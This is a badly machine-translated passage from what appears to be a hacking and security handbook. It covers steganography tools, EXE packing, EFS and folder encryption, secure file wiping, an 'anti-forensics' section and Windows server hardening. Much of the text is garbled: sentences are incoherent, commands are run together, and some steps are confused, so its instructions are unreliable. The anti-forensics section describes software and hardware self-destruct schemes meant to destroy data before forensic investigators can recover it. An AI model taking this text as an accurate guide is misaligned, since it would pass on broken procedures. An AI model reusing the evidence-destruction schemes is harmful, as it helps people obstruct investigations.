Steganography of BMP and GIF images information involves the format of the picture shows that BMP image is represented by a series of Numbers arranged, we can use the UE to hexadecimal view, it shows the strength of the color. And image steganography is the LSB (least significant bit) lowest bits are hiding technology, this technology is mainly to image the least influence the image effect of pigment changes, generated by the image, do not feel any change to the naked eye.

But in GIF format images and BMP image file organization structure is different, for the GIF images, using the data after the steganographic techniques, GIF images can have a little distortion, in general, with the naked eye can see pixels is missing, it is a disadvantage.

The following introduction to BMP images and GIF image file information steganography.

1. The BMP image file information steganography

Using HIP (the abbreviation of HideInPicture) tool can realize the BMP image file information steganography, the tool USES Blowfish, Rijndael algorithm encryption, can be any type of files hidden in the picture. But still images showed normal like before, no one can see in the picture with hidden information, can be safely hidden information security problems.

HIP tools have a command line and GUI version, here in the command line version, for example, to introduce how to use the HIP tools hidden data and retrieving data. Before that, the need to prepare a BMP image "jiemian. BMP" and to hide the notepad file "jishiben. TXT", content is "mimashi123456", and put them on the HIP of the current directory.

Using HIP tools hidden data and retrieving data specific steps are as follows:

Step 01 open a command prompt window, enter the relevant orders, into the HIP tools in the current directory in D: \ HIP, HIP. At the command prompt type "HIP" command.

In which step 02 type the command "hipjiemian. Bmpjishiben. Txtnewjiemian. BMP, at this point, will require the user to set the password.

Step 3 enter the correct password for the second time in a row, can generate new “newjiemian. BMP images, this means that data steganalysis was successful.

Data after the success of the steganography, still can use isolated HIP tools hide the true information of images. The specific steps are as follows:

Step 01 steganographic data after success, at the command prompt type the command “hiprnewjiemian. Bmpnewjishiben. TXT”, will require the user to input the password set above. After enter the correct password, can separate the real information in the file newjishiben. TXT.

Step 02 use notepad to open the separated newjishiben. TXT file, you can see the inside of the right content, with the original jishiben. The contents of the TXT file.

Contrast carefully step 03 at this point, “jiemian. BMP image (not steganographic) and” newjiemian. BMP image steganographic) (” effect, can’t see any difference.

2. GIF image file information steganography

Using HideandSeek tools available in the GIF image file for different types of files information steganography, and add a password for it. HideandSeek tool includes two parts, steganalysis hide. Exe and decoding the seek. Exe, both applications that need to be run in the CMD command line.

Before the steganographic information using HideandSeek tools, ready to write the information hidden in the GIF image steganographic information “donghua. GIF” and “wendang docx, and put them in HideandSeek tools directory, you can start using HideandSeek steganographic data tools.

The specific steps are as follows:

Steps 01 open a command prompt window, in which the input command, steganographic hide into the store. The exe and decoding the seek. Exe in the current directory D: \ HDSK \ HDSK. And then type the command “hideseek”, call steganographic hide. Exe and decoding the seek. Exe program.

Step 02 in the command prompt type the command “hidewendang. Docxdonghua.

Gif1200”, and press “Enter” key twice in a row, you can generate a new GIF image files outfile. GIF, writing in the document information hidden on the GIF image.

To write data hidden into the GIF images, if you want to separate outfile. GIF steganographic file, you can type the command in the command prompt “seekoutfile. Gifnew. Doc1200”, press “Enter” key twice in a row, separate files can be successful.

11.4.3 Text information steganography, HTM, PDF file

If the TEXT, HTM and PDF file information steganography, available data steganography software StegoMagic, it supports TEXT, Wave, BMP file type (24/256 colors), support single steganographic information and documents. Here are using StegoMagic software will be a single to Text information hiding method in a notepad.

Steps in StegoMagic software 01 “CarrierFileType” option in the main interface area is selected in the “Text” option, in the region of the “Hide” option is selected in the “Message” option, the interface in the top right corner of the “Entersecret Text box is shown as” writable state, in which the input information to Hide (don’t write too much), and then enter the password in the “EnterPassword” option area, and then set the Text in the “SaveCarrierFileAS” Text box file save location D: \ JSB. TXT.

Step 02 click SelectProcess “Hide” button in the options area, but the pop-up message, that succeeded in hidden information.

Step 3 open saved text files, can be seen in the notepad without any content but size 1 KB, steganographic information existing in the text file.

At this point, if the D: \ JSB. TXT in the notepad steganographic information isolated, but in the main interface of StegoMagic software click “SelectCarrierFile (ForBotHidingandUnhiding)” “Browse” button in the options area, choose D: \ JSB. TXT file.

Input in the area of the “EnterPassword” option on the right just set the password, and click the “SelectProcess” option in the region “Unhide” button, at this time will popup tooltip UnhidingProcessSuccessfullyCompleted] [, successful steganographic information separation, and the “Entersecret” text box at the top right of the interface shows steganographic information.

11.4.4 JPEG and PNG image steganographic information online

Mozaiq website provide information online image steganographic function, it not only can undertake JPEG image information steganography, also can undertake PNG image information steganography. And in the website information steganography, does not require any software support, only to the network, can use at any time, very convenient. In Mozaiq website information steganography concrete operation steps are as follows:

Step 01 in IE browser address bar enter the url “<http://mozaiq.org/encrypt/>”, you can open the Mozaiq website.

Step 02 steganographic information added in the “Step1 to JPEG images, such as D: \ heikejidi JPG, input is implicit in the Step2 writing information, such as” hacker base, the matrix, “in” step 3 “to enter a password protection.

After the completion of the step 03 Settings, click the “HideYourMessage” link, at this time will jump to another page, the page out just upload pictures. Click the image at the bottom of the “downloadyourimage” link, you can pop up file download window 】 .

Step 4, click the “save” button on the “save as” dialog box Settings saved location, at this point, you can see the download for the PNG image format. Click the “save” button, the image files can be downloaded to the local hard drive.

At this point, if you want to know the success of implicit information into images, can be operated in accordance with the following methods:

Step 01 use IE browser to open the website <http://mozaiq.org/decrypt/>, is added in the “Step1 steganographic image just download to local hard disk, enter the password that was set in the” Step2 “.

Step 02 click “RevealYourMessage!” Link to the page after the jump, in the heart of the open pages will appear in the image steganographic information “hacker base, the matrix”, this shows just the data of steganalysis success.

The fifth chapter data encryption and erase

Many computer users have more than one faced on the network security problems, the

hacker program, virus, mail bomb, such as remote listen you listen to tremble with fear. How to protect the security of computer information content, has become the most concern. And encryption technology is the most commonly used means of security, can effectively prevent hackers steal data, but do you know, data destruction is also a kind of protection mechanism, it can be completely cleared you want to delete the data privacy, make hackers cannot return.

11.5.1 EXE file encryption

Extension EXE files in the largest number of computer software, so for this type of file encryption protection is the key of the data encryption. The EXE file encryption can prevent the occurrence of two kinds of behavior at the same time: one is illegal theft, this kind of situation the EXE encryption mainly for specific programs, if the illegal use of the program to program the main cause information leakage; Second, illegal modification, this kind of situation the EXE encrypted copyrighted procedures, mainly for the by modifying the program files, can make any duplicate these programs, namely the piracy.

The EXE file encryption method has two main: embedded and shell. Join to detect when is embedded in the program code, to prevent theft and modification; Add case should be the full name of the executable program resources, compression, a common method is to protect the file.

Is outside the EXE file added a shell, which hides the EXE file of the original information, protection. Packer program can be run directly, but cannot view the source code, to go through hulling can view the source code.

1. Using tElock EXE file is encrypted

TElock is a set of the secrecy good, the compression and encryption for the integration of EXE file add case tool, mainly used to prevent illegal modification EXE files, and shell type can be hidden. After the encrypted file, if I make any change to its again, the program can use. Unless the dynamic tracking, unable to restore the original file. And tElock also has good prevention mechanism for dynamic tracking, can detect like SoftICE debugging tools.

The EXE file is encrypted using tElock software specific steps are as follows:

Step 01 tElockv0.98 program up and running, into the main interface. Click the button, file locking] 【 on the “select files...” Dialog box to choose to encrypt the EXE file,

such as WinRAR. EXE.

Step 02 click “open” button, if the file is not encrypted, you can directly start the encryption. Otherwise, will prompt the user this file has been encrypted. , after the completion of encryption tElock EXE file will be shown to the corresponding information, such as compression ratio, and create backup files “WinRAR. EXE. Bak”.

Step 3 in tElock choose “Settings” TAB in the main interface, the user can according to need to carry on the corresponding Settings. Different Settings have different encryption effect.

2. EXE plus the EXE file is encrypted passwords

EXE plus software EXE file can also be encrypted password, but it is mainly used to prevent theft EXE file. Here is using the EXE plus password encryption EXE file specific operation method.

Step 01 install and run the EXE plus password, enter the main interface.

Step 02 click “choose the EXE file to operate” text box on the right side of the “open” button and choose to encrypt an EXE file, such as “mp3jqj. EXE”, and enter the password in the text box below.

Step 3 click the “start encrypted file 】 button, can complete the EXE file encryption. When running the mp3jqj. Exe program again, will prompt the user for a password, otherwise can not run.

11.5.2 EFS encrypted file systems

EFS (EncryptingFileSystem, encrypted file system) is used to NTFS file on Windows platform and data encrypt function. Once encrypted files or folders, you can use them as using other files and folders. And Settings folder any other attributes (such as read-only, compressed or hide), can be set for the folders and files encryption attribute, so as to realize the folder or file encryption and decryption.

When using EFS encrypt a file or folder, the system will generate a first consisting of pseudo-random number FEK (FileEncryptionKey, file encryption key), will use the FEK

and extend the data standard X algorithm to create the encrypted file, and store it to the hard disk, and delete the original unencrypted file at the same time.

System will use FEK public-key encryption, and encrypted FEK stored in the same encrypted file. In the access encrypted files, the system first use of the current user private key to decrypt the FEK, using FEK decrypt files. When first using EFS, if the user has not been a public/private key, the key will generate first and encrypted data. To introduce the following using EFS encrypted files of the system and a certificate of export, import method.

1. The file or folder encryption

Here to D disk in the “images” folder, for example, introduces the concrete operation steps using EFS encryption system.

Steps in 01 “images” folder, right-click on it, and on the shortcut menu, select “properties” menu item, you can open the [properties] dialog box.

Step 02 click the “advanced” button to open the advanced properties dialog box, ☒ in check of the area of the “compression or encrypted attributes” option “internal in order to protect the data encryption” check box.

Step 3 click [sure] button, can pop up confirm attribute changes dialog box. ☒ Only if you select the “apply changes to this folder” option, the EFS will only this folder encryption, rather than the inside of the timing file encryption; If you select “apply changes to this folder, subfolders and files” option, then the folder of all files and folders are encrypted.

Step 4, after the file or folder encryption to decrypt it if you want to, can uncheck the advanced properties dialog ☒ in the “internal in order to protect the data encryption” check box. If it is declassified documents directly click [sure] button; If it is decryption folder. Like the encrypted folder, according to oneself circumstance after setting, the EFS began to decrypt.

“Tip”

A single file or folder is encrypted, its name and attribute will appear as a green, this is the difference between the encrypted file and the unencrypted file. In addition, the EFS encryption system can only be used under Microsoft NTFS format disk, if the disk format

for FAT or FAT32, is not available.

2. Export the private key and certificate

Using EFS encryption system, after the file or folder encryption only when running administrator user can access encrypted files. If you want to open on the other computer or passed on to others, it is necessary to use the private key to access the administrator. Users need to export the private key and certificate, the specific steps are as follows:

Steps in the “run” dialog box input 01 “MMC” command, you can open the console window **】** . Select [file] - > add/remove snap-in **】** **【** menu items, can open the add/remove snap-in dialog **】** .

Step 02 click “add” button, then the pop-up dialog box to add independent management unit **】** **【** , choose the “certificate” in the list box.

Step 3 click the “add” button, in the pop-up dialog, select the certificate management unit **】** **【** “my user account” option. Click “finish” button, can complete certificate to add.

Step 4 return “console” window, in the left list, select “certificate - the current user” to “personal”, “certificate” option, in the right of the window is selected in the current user and right-click on the shortcut menu, select “all tasks” to “export” menu.

Step 5 to open the “certificate of export wizard” dialog box, click the “next” button.

Step 6 private key export Settings. In the pop-up dialog box “is to export the private key” option is selected, click the “next” button, in the following dialog to keep the default Settings.

Step 7 private key password. In the pop-up dialog box in the “password” and “confirm password” in the text box input to the private key export personal password, click “next” button.

Step 8 set certificate of the location. In the pop-up dialog box, click the “browse” button, save the file path and file name, the certificate file suffix is “PFX” by default. Click “next” button, in the pop-up dialog box click “finish” button, can complete certificate of export.

Step 09 open disk save the certificate, can be seen after successful export certificates, the resulting private key to. PFX for extension. The private key to others and install, can be in other computer access encrypted files.

If after the EFS of file encryption, failed to timely export personal key, after reshipment system of these encrypted file will not be able to open.

3. Certificate of import

After reshipment system, if you want to access previously encrypted files, you need to reinstall the system leading the certificate file to import, specific steps are as follows:

Step 01 in the open to import the certificate file file and double-click the file, you can open the certificate import wizard dialog 】 .

Step 02 click “next” button to open the dialog box to import file 】 【 . Click the “browse” button to choose the certificate file to import.

Step 3, click “next” button to open the “password” dialog box. In which the input export set password.

Step 4 click “next” button to open the certificate store 】 【 dialog. Choose “according to the type of certificate, in which automatic selection certificate store” the radio.

Step 5 click “next” button, you can see is to complete the certificate import wizard dialog 】 . Click “finish” button, you can for certificate of import operation, upon the export, you can see “certificate of import success” prompt dialog box. Click “finish” button to complete the export operation certificate.

11.5.3 professional folder encryption tool

Folder folder encryption lock the king is a professional tool, it is the latest version of the folder lock king 2010 diamonds. This version of the folder lock the king on the function and traditional hidden folder, camouflage folder the distinction that having essence, adopting the advanced folder encryption technology, can effectively the user’s data folder encryption, the encryption speed, a 2 g folder encryption is about less than 1 second, and

the encryption intensity is high. The software is not affected by the system, even if the heavy, Ghost reduction, system disk formatting, so still can use.

“Folder lock king” in support of the encryption method is: the machine and mobile encryption. That is to say, the encrypted folder which can be used in the unit, also can be moved to other work on the computer.

To introduce the following using “folder lock king 2010 diamond edition” the method of software encryption EXE files and folders.

1. The encryption EXE file

Using “folder lock king 2010 diamond edition” to a single EXE file is encrypted, specific operation method is as follows:

Steps of 01 will download “folder lock king 2010 diamond edition” package after decompression. Double click the ICONS in the file, then open the EXE file encryption tool window 】 .

Step 02 in the “choose the EXE file to operate” in the text box set to encrypted files, and encryption in the text box below the input password, click on “start encryption EXE file 】 button, can be in the file is encrypted. After completion of the encryption, can the pop-up dialog, prompt the user has successfully encryption.

2. Mobile encryption


Using mobile encryption to encrypt folders, when decrypt this folder, even from “folder lock king 2010 diamond edition” of the main program, to decrypt this folder can also. Using mobile folder encryption encryption method:



Step 01 double click on the “folder lock king 2010 diamond edition” the ICONS in the file, will pop-up prompts, prompt the user default login password is blank, can change the access password after login.

Login step 02 click 【 main interface 】 button, can enter “folder lock king 2010 diamond edition” in the main interface of the software. Choose other tools - > 】 【 mobile disk folder encryption device 】 a menu item, you can open the “mobile encryption” dialog

box.

free ebooks ==> www.ebook777.com

Step 3 click the “select the folder encryption for” text box on the right side of the “browse” button,  browse folder in the pop-up dialog, select the folder encryption.

Step 4 click [sure] button, return to  mobile encryption dialog, in the “please enter the encryption password text box input encrypted password. Click “start encrypted folder  button, in after the success of the encryption, can pop up folder has been successfully encrypted message.

Step 5 click [sure] button, can complete the encryption of the folder. At this point, the encrypted folder will appear a “mobile decryption. Exe” icon, the files in the folder is hidden, only can be decrypted to display hidden files. If you want to access the encrypted folder, double-click the “mobile decryption. Exe” icon, in the pop-up dialog box input decryption password.


11.5.4 encryption tools page

To make your own web companies, organizations or individuals, if you only want to allow users to access web pages of information, or want to protect our web site source code, can use a special encryption tool on the web page is encrypted, so as to limit Internet access. One can quickly to the specified page is encrypted page encryption tool EncryptHTMLPro, it supports HTML source, JavaScript, and VBScript, text, hyperlinks and image encryption

And the encrypted files without additional components support can be normal operation (browser supports JavaScript required).

Here are encrypted using EncryptHTMLProV3.00 tool specific operation steps of a web page.

01 EncryptHTMLProV3.00 up and running, step into the main interface of EncryptHTMLProV3.00 software.

Step 02 click [Next (Next)  button, enter the Step1 (step 1)] window. Encryption for website, need to select “ProtectwebFiles (protection website file)” option. Click the “add folder” button to open the AddFolder (add folder)] dialog box.

Step 3 set to encrypted sites.] in [AddFolder (add folder) dialog, click the “Browse” button, can open] [Browse folder dialog box, choose the website file need to encrypt.

Step 4 click [sure] button, return to [AddFolder (add folder)] dialog box, you can see add folder. Click “OK” button, can in Step1 (step 1)] [window to see this folder contains all of the web document.

Step 5 click [Next (Next)] button, enter the Step2 (step 2)] window, in which set the encryption properties. Click [Next (Next)] button, can enter the Step3 (step 3)] window, check the corresponding checkbox.

Step 6 click [Next (Next)] button, can enter the Step4 (step 4)] window, in which set the encryption properties. Click [Next (Next)] button, can enter the LastStep (last step)] window.

Step 7 click [Protect (Protect)] button, can open the EncryptHTMLProtrialversion (EncryptHTMLPro version information)] prompt dialog box.

After step 08 click [Registerlater (registration)] button, can open the Information (Information)] [prompt dialog box. At this point, you can see in [message] prompt dialog box for the selected folder encryption results page.

Step 09 click the OK button in the [LastStep (last step)] see file has been encrypted page window.

11.5.5 type logic file erasing technology

Because the system on a simple file Delete operation is not really that destroy data, even if it is to press the “Delete”, “Shift + Delete” key to Delete data, or format operation, Delete data, only made a mark in the data storage area, haven’t really deleted. Through some channels, but also to be able to delete data recovery.

Therefore, in order to thoroughly remove data, to prevent others to restore your data, check the information, you need to use file erasing technology, fully traces of erasing files from the hard disk.

WipeFile file erasing tool is the most security tool, delete files although application volume is small and expensive. But there are programs provide the U.S. navy, the department of defense, NATO air force the United States department of defense standards such as advanced 14 deletion technique, the user can call any one technology to delete files, and they are the safest processing technology. Users can through it to clear the important document, even if in the future using the software and hard disk recovery tool is unable to complete the file recovery.

Here is how to use WipeFile software to delete files, its operation method is very simple.

Step 01 WipeFile software up and running, you can enter the main interface. In the blank section of the interface between right-click on it, and on the shortcut menu, select “add files” menu item. Open the “add file” dialog box, in which choose to delete files, such as god. Exe.

Step 02 click “open” button, the selected file is added to the WipeFile main interface list box, and click the “use technology” drop-down button, underneath the drop-down list to select a delete technology, such as “the United States (DOD5220.22 -m and (AFSSI5020) (3 *))”.

Step 3 click the “erase” button, then the pop-up dialog, prompt the user all files will be erased in a listing, and irreversible. Click [sure] button to delete the list to add all of the files.

Chapter 6 data reverse forensics information confrontation

Computer forensics is to obtain evidence of computer crime, save, analysis, and show me, is actually a scanning computer system and the process of reconstruction of intrusion. Compared with the computer forensics research, relatively few people study of reverse forensics technology. So-called reverse forensics is to construct a framework of simulation forensics experts is how to find and handle sensitive data, familiar with forensics experts operation steps, and the one of the important link, and traces of the behavior and to ensure that the computer can't get that.

11.6.1 host data information for verification

Host data verification refers to the host system vulnerabilities verification, network status verification, software security verification, script leak check, etc., before the invasion of computer hackers, must want to undertake these checks first, check whether there is the

risk in the computer. If there is, hackers will see opportunity, it's swagger to use these holes invaded your computer, stealing data. Will leak before killing, therefore, must first check system. To see some important information in the system and can use Windows own CMD command line or in some of the forensic tools, such as X-ray WaysTrace digital forensics tools.

1. CMD command information for verification

Now in Windows offer a CMD command line, in which the input related commands can view the some important information in the system, check the system whether there is a problem.

Low systeminfo command. In which open a command prompt window, type the command "systeminfo", you can view the system the main message, here you can look at OS setting information and time information.

Low tree command. Tree command can be used to graphical display of a drive or folder structure, so that more convenient to users to partition the documents for verification. To see D dish in the file, for example, can type the command in the command prompt window "treed: \ / f | wish, you can split screen to check at the command line interface.

2. The forensic tools information for verification

Forensics tools can trace the use of the computer scanning, such as system log, firewall and intrusion detection system's work record, log, network anti-virus software monitoring traffic, email, operating system files, and Web browser data buffer, history, or the session log, real-time chat records, etc. And some of the forensic tools can also be in accordance with certain keywords, such as HTTP, Cookie, automatic scanning drive of sensitive information.

Here is a digital forensics tools X-ray WaysTrace3.1, it can not only search the user to specify the directories and subdirectories, and the entire hard disk (or RAW disk mirror) has been used in space, the unused/spare space, tracking whether someone once surfing on the Internet, can also record a visit to a local file, you can also through the analysis of the internal history and cache files of InternetExplorer index. The dat, shows all the URL/the time and date of the last visit/user name/file size/file extensions, etc.

Using X-ray WaysTrace3.1 scanning drive the specific steps are as follows:

Steps to run X - 01 WaysTrace3.1, into the main interface. Select [File] - > [OpenDisk] menu item, open the dialog OpenDisk. In the dialog box, to choose to conduct a comprehensive scan disk C.

Step 02 click "OK" button, after a scan, can list scan results, including from disk C access to the information such as the URLs, redirections.

Step 3 x - WaysTrace partition scanning, in addition to supporting system also supports the system partition scan. In the dialog, select a disk OpenDisk] [D, can be carried out on the disk D full scan, and list the results of the scan.

11.6.2 rout of digital evidence

Digital evidence doesn't really serve as evidence in the judicial, because all of the evidence to prove its authenticity and uniqueness. And special data information form of electronic data evidence, computer technology and the original operating system environment is needed to represent the data form. In addition, from the current digital technology, digital recording all difficult to explain whether the original data in a storage medium, whether or not modified, it is difficult to identify in the evidence. Rout of digital evidence is very simple, only need to use its own characteristics for the evidence.

1. The software monitoring and self destruction

Currently the vast majority of the units and individuals keen to monitor, monitor itself reflects the human nature of the dark and distrust, if be criminals to obtain personal privacy information (especially the account password, personal files, photos, etc.), the consequences could be catastrophic. Therefore, we should understand some software to monitor and deal with hidden forensics software in the system.

The monitoring software must have Trojan nature, the main process in the monitoring computer, network and system.

Low monitoring, process monitoring is mainly the process of monitoring the list to see if there is evidence software, such as WinHex, X - WAY and hidden process. If the monitor software found existing in the computer forensics software process, can immediately to self destruction of data.

Low network monitoring: must ensure that the host connected to the network, network

traffic and once detected anomalies and artificial interruption, will start self destruction.

Low system monitoring: about system monitoring is more complex, it mainly focuses on the startup and shutdown operation. Users can oneself write a small program to replace the system shutdown functions, in addition to the normal shutdown operation, small program requirements must be shut down within 1 minute before input random Numbers just to turn it off. If not detected, that is, start self destruction.

Using software to the monitor to some extent, although also can protect the data, to prevent data is copied, but this method exists many defects. For example, when the network monitoring, sometimes will meet suddenly loses power. At this point, the forensics experts can directly cut off the backup power supply, and will be hard to get the other platform to copy data to ensure that the evidence is still there.

2. The hardware monitoring and self destruction

Hardware anti monitoring can put an end to the data is copied from the according to, because this method there are two ways of self destruction: chip type and physical type. Once the use of any of a way to destroy the digital evidence, can be completely destroyed.

Low chip type

Chip type of monitor to the hard drive first and the entire chassis with carton enclosed, chassis appearance can use iPhone touch technology to detect whether chassis touching the sharp objects and chemical items, and controlled by the smart chip in front of the case, the smart chip need out of the password authentication. And related interfaces in hard disk inserted into the programmable component and connecting the smart chip, if entered an incorrect password three times, and detect the casing external touch suspicious objects, programmable component can destroy the hard disk.

Low physical type

Physical model of the monitoring need to hard disk welded together closely with carton, each other are associated in the construction of the internal hard drive for special processing, key components of the internal chassis can't inversion, tilt. Shell can't be too hard, will drive all interface seal up at the same time, out of the way is to use physical password. Once someone is trying to use iron tools to open the case, even a slight vibration, hard disk automatically discarded, data is automatically destroyed.

It seems 1: using the FinalData software can recover some previously deleted files, such as to steal files. If hope after deleting some files no longer recover, how to delete these files?

Answer: after the file is completely deleted, actually on the hard drive is not deleted, only will store the files marked track of hard disk, waiting for the other new file cover. That's why after deleting files, such as FinalData software to restore. Know this principle, as long as add some new files to delete the file, the original file cover, the recovery software is powerless.

In addition, you can also use some software to delete data destruction effect, such as SafeErase.

Inspiration. 2: EFS encryption by default is open, if you want to disable the EFS file encryption, should how to operate?

Answer: if you want to ban the function, can open the registry editor window **】** first, found in the list on the left side of the HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ WindowsNT \ CurrentVersion \ EFS, create a new EfsConfiguration DWORD below type number, and set its value to “1” (value is “0”, enable the EFS), and then restart the computer. It is important to note that if you disable the EFS, original EFS encrypted file is inaccessible, until recovery EFS.

The first chapter server security defense

Family, business, or there are some in the office network server in operation, such as WEB, such as DNS, FTP, VPN server, in this way, nature is little not been eyeing up the attacker to use agent to scan the scanner, which pose a threat to the safety of the server. To reduce the number of computers are attacked, we should do well in server security defence measures, make the hackers.

12.1.1 strengthen server strategy

To strengthen the security of the server is a way of defense technology security threats, it includes two aspects of installation and configuration system. Both must follow the principle of “least privilege”, meaning that they are to include a minimum of service providing, the smallest port opening, least privilege allocation.

1. The installation procedure

The installation of the program including from installing an operating system to install and configure the application of the computer program, they must also follow the rule of the “least privilege”.


(1) the installation to minimize the operating system

When installing an operating system, in order to ensure the installation of the system is the most clean and light, best disconnected from a network in advance, and confirm that the original data in disk was removed clean. In addition, choose the best operating system version is the original operating system version, such as WindowsXPProfessional version, do not use Ghost version of the system. After installed the system, if need to add some Windows components, for the necessary services for installation, do not install additional services.

Added Windows components specific operation method is as follows:

Step 01 click “start” - > “control panel” button, open “control panel” window. In this window double-click add or remove programs “icon.

Step 02 open “add or remove programs” window, and click the “add/remove Windows components” on the left side of the list button.

Step 3 at this time, can open the Windows components wizard dialog  . Selected in the “components” list box to add a component before the check box. Click “next” button, can be installed according to prompt.

(2) to install and configure the application

After installed the operating system, can be installed in the computer you need to use the application. But in order to avoid the risk from the installation of the software brings to the system, such as holes, virus, negative comments plugin, it is best not to install extra application.

(3) install the latest security patches

Patch is divided into system and application software patch, patch is used to repair the system or software known defects and loopholes. These defects holes with the consequences of malicious command (horse), elevate privileges or denial of service attack, etc., therefore, in order to ensure the safety of the system, should time to scan, systems and software to find the need to install the patches.

In general, the system patch installation can be repaired through the Windows automatic update feature. On the “my computer” icon on the desktop, right-click on the pop-up menu, choose “properties” menu item, you can open the system properties dialog box **】** . Switch to “automatic updates” TAB, select the “automatically (recommended)” option and set up automatic updates. Click [sure] button, can be in accordance with the set time, regularly check the important updates, and install them.

In addition, can also through third-party software, such as super rabbit, 360 security guards check and install system patch. For application software patches, can directly download the latest version of application software, defect repair loopholes.

2. Configure the system

(1) the service configuration system

Follow the rule of the “least privilege”, must be stopped and ban system unnecessary services. How to view and modify the system’s service? Here are the specific methods of operation.

Step 01 click “start” - > “control panel” button, can open “control panel” window. Double-click the “management tools” icon in the window, can open “management tools” window.

Steps. Double-click the “computer management” icon to open “computer management” window. Click in the window on the left side of the directory tree under “services and applications” in the “service” option, on the right side window can appear in the system. Selected to stop using the service and right click in the pop-up menu select “stop” menu item, you can disable the service.

(2) the port configuration system

If open port in the system is more, vulnerable to hacker attacks, bring dangers to system.

Therefore, in order to ensure the safety of the system, the available system “TCP/IP filter to filter out unnecessary ports. The specific operation method is as follows:

Steps in the control panel window **】** 01 double click “network connections” icon, you can open “network connections” window. Right-click on “local connection” icon, on the shortcut menu, select “properties” menu item.

Step 02 at this point, you can open the local connection properties dialog box **】** . In this connection using the following project list box, select the “Internet protocol (TCP/IP)” option, and click “properties” button.

Step 3 open “Internet protocol (TCP/IP) properties” dialog box, click the “advanced” button. Open the “advanced TCP/IP Settings” dialog box, in which the choice “optional Settings” in the list box “TCP/IP filtering” option, and click “properties” button.

Step 4 to open the dialog box, the TCP/IP filtering **】** **【** port filters can be in it. If only allow TCP port, select “TCP port” above the corresponding “allows only” option can be.

Using the TCP/IP filtering filter port more troublesome, can also through the firewall configuration. Configuration method is very simple, only in the advanced TCP/IP Settings dialog box **】** to switch to the “WINS” TAB, in which to choose “disable TCP/IP NetBIOS” option, ban NetBIOS interface port filter can be achieved.

(3) set file permissions

Set file permissions or restrictions on NTFS file system partition and file access conditions, FAT, FAT32 file system can not to protect the data stored in the user level, especially the lack of protection for local user login. To cancel the D partition “Administrators” group below the safety control of the disk access, for example, introduced the specific operation steps.

Steps in the control panel window **】** double-click 01 “folder options” icon, can open “folder options” dialog box. In the “advanced Settings” list box uncheck “use simple file sharing (recommended)” check box, and click on the [sure] button.

Step 02 open “my computer” window, right-click on the D disk drive, and on the shortcut menu, select “properties” menu item, you can open the D disk properties window. In “group or user names” list box, select the “Administrators”, and click “delete” button, you

can cancel the D partition “Administrators” group of control over the safety of the disk.

free ebooks ==> www.ebook777.com

To set up other partitions file permissions, and can be set according to the same method. But this setting is only effective on NTFS partition, because FAT, FAT32 partition in the properties dialog box without [security] TAB, the purpose of this TAB is to set up safe file system.

12.1.2 “account strategy” configuration and application

Group policy Settings can be used to manage the desktop display, assigned script, will be redirected to the folder from the local computer network location, determine the security options, as well as the control software can be installed on a particular computer and a specific user group of the available software and so on. Group policy strategy, local policies, including account software strategy, etc., and account strategy including “password policy” and “account locking strategy”.

Here is “password policy” and “account locking strategy” configuration method.

1. Configuration “password policy”

Configuration “password policy” of the specific steps are as follows:

Steps 01 in open the “run” input “gpedit.msc” dialog box, you can open the group policy window **】** .

Step 02 in out of the window on the left side of the tree directory of the “computer configuration” - > “Windows Settings” - > “security Settings” - > “account strategy” option, you can open the account of the “strategy” window, select “password policy” options in it. At this point, on the right side of the window can display various strategies.

Step 3 in the window on the right side of the double click “password must meet complexity requirements” option, a pop-up dialog box password must meet complexity requirements attributes **】** **【** . “Enabled” option is selected, enable password complexity requirements.

Step 4 click [sure] button, in the same way as “group policy” window, select the other project, set up corresponding password policy.

2. Configuration “account locking strategy”

In order to strengthen the security of the server, to prevent other people use the administrator login server, you can limit the number of the account login, you can also set when the password input error, the user cannot login time, and the reset time login account number. Below is the configuration “account locking strategy” concrete steps.

Step 01 in the group policy window **】** the left side of the tree directory selection under “account strategy” in the “account locking strategy” option, can be shown in the window on the right side of the containing of each strategy.

Steps. Double-click the account lockout threshold “option, then the pop-up properties **】** **【** account lockout threshold dialog box, in the text box input the number of invalid login.

Step 03 click [sure] button, can pop up [proposed numerical changes] dialog box. Leave the default Settings, and click on the [sure] button to accept advice.

Step 4 in the window on the right side of the double click “account locked time” option, you can open the account lockout time properties dialog **】** . In the “account locked time” in the text box input account lock time.

Step 5 in the window on the right side of the double click the “reset account lockout counter” option, you can open the dialog box, reset account lockout counter properties **】** **【** in “after reset account lockout counter” text box input account logins reset time.

12.1.3 “local strategy” configuration and application

“Local strategy” configuration is also an important aspect to protect the safety of the server, it includes audit strategy, user rights assign, security options in three aspects. Introduce the three aspects respectively under the configuration method.

1. Configuration “audit strategy”

Configuration “audit strategy” of the specific steps are as follows:

Steps in the group policy window 1 01 in turn on the left side of the tree directory “computer configuration” - > “Windows Settings” - > “security Settings” - > “local strategy” option, choose the “audit strategies” option below. At this point, on the right side of the window can display various strategies.

Step 02 in the window on the right side of the pane, double-click the “audit policy changes” option, you can open the audit strategy change the properties dialog box 1 . In which according to the need to check the “successful” and “failure” check box; If you don’t choose both, said no audit. Click on the [sure] button, set other options of audit in the same way.

2. Configuration “user rights allocation” strategy

Different user assign a different jurisdiction, the server implementation the basis of classification management, how to carry out classification management is need for the server configuration “user rights allocation” strategy. Configuration “user rights allocation” strategy of the specific steps are as follows:

Steps of 01 double click “control panel” window “management tools” icon, in the open “management tools” window, double-click the “computer management” icon to open “computer management” window.

Step 02 in out of the window on the left side of the tree directory of the “system tools” - > “local users and groups” - > “user” option, the right side of the blank area, right-click in the popup menu select “new user” menu item.

Step 03 at this point, you can open the “new user” dialog box. In which input “user name”, “full name”, “description”, and set the password, create a new user. Click “create” button, create a good user can appear in the “computer management” window on the right side of the area.


Step 4, open the group policy window 1 in the window of the directory tree on the left side of the “local strategy” under the “user rights allocation” option, in each strategy can be listed on the right side of the window.

Step 5 in the window on the right side of double click “backup file and directory” option, you can open the backup file and directory attributes dialog 1 . Click the “add user or group” button to open the “select a user or group” dialog. In the “to select the input object

name” text box input user name “ling ling”. Click [sure] button, according to the user permissions set other projects in the same way.

3. The configuration options of security strategy

“Security options” strategy for for users to access the server configuration some similar aspects such as access security strategy, improve the safety of the server. Configuration options of security strategy of the specific steps are as follows:

Steps in the “run” dialog box input 01 “gpedit.msc”, you can open the group policy window  . Found in the window on the left side of the directory tree under “local policy” in the “security options” option.


Step 02 double-click to modify in the window on the right side of the strategies listed options, such as “interactive logon: don’t show the last user name”, can open the interactive logon: do not display the last user name attribute] dialog box. Choose “enabled” option. Click [sure] button to enable interactive login, in the same way other project configuration Settings.

12.1.4 “software restriction policies” configuration and application

